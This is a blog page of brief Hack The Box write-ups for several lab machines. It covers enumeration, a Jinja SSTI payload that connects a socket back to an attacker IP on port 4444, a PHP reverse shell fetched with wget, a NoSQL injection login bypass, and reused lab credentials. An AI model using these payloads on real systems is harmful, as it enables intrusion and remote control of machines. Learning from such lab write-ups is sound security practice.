Etiket: Hack The Box

I scan port with nmap tool.

I scan two ports with gobuster. One of them is working that is website which run at 443 port. Scanning take a long time a bit :). I find a interesting file.

When I look the file. There is a credentials.

I find the pfsense at the internet and there may be 2 passwords that it can be.

username: rohit password: pfsense

There isn’t any beneficial information that I can abuse it.

I execute exploit. It works and I am a root as unexpected. 😀

I scan the target machine with nmap tool.

There are two web services.

there is a intresting file at website that is at 80 port. I find a domain name. Name is doctors.htb. I search directory list with gobuster.

I register at the website and login.

I try to ssti for new post but it doesn’t look success.When I see the archive endpoint, it success :).

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

I find a payload to get a shell.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

After I get a shell, I execute id command in the shell.

What is adm? I search on the internet.

I search the clue under log files. Perfect !!! I find a password for shaun.

I change a user.

On 8089 port is splunkd. I find a vulnerability about this. and there is a vulnerability that provide privesc.

Credential is required. And I have a credentials but I don’t know whatever execute or not. Yes I try credetentials for authentication. Credential is correct.

I execute payload. Finally I can read a root.txt 🙂

It ıs unstable machine that I have ever seen in the HTB. It is very hard for me and takes over 5 hours.

Nmap scan result.

I scan with gobuster for DNS searching. Gobuster finds a subdomain.

I try sql Injection attack at the website. It success

I try to execute command injection attack.

I upload a php-reverse-shell.php with wget.

I write http://admin.cronos.htb/php-reverse-shell.php at the web browser. Finally I get the shell.

I execute linpeas and linpeas show the vulnerability that cause privesc.

I upload php-reverse-shell that is changed listen port. and change with artisan.

I scan the target ip with nmap tool.

There are two open ports. I run gobuster tool to find directory.

found directory is not working. I decide to fuzzing for subdomain.

wfuzz -u http://10.10.11.180 -H "Host: FUZZ.shoppy.htb" -w /usr/share/wordlists/Seclists-2023.2/Discovery/DNS/bitquark-subdomain-top1000000.txt 

I do some changing for my command becaues output show every results.

wfuzz -u http://10.10.11.180 -H "Host: FUZZ.shoppy.htb" -w /usr/share/wordlists/Seclists-2023.2/Discovery/DNS/bitquark-subdomain-top1000000.txt -hh 169

I find one subdomain

mattermost

Oppss. I have to find a credential to login or I have to find another way.

I back to Shoppy login page and I try to sql Injection after read a blog that it is the below.

https://nullsweep.com/a-nosql-injection-primer-with-mongo/

admin'||'a'=='a

I login 🙂

I click the Search fo users.

I enter the same payload that when I login.

I try to crack hashes and one of them is found.

The hash belongs josh. I login subdomain.

I find credentials to connect the target machine via ssh.

I connect ssh and I find intresting file that it is executable file. When I open the file with cat command password is plaintext.

SampleAccess

I change the user and I execute linpeas.

As I understand that I am in the docker and I find a privesc at GFTObin.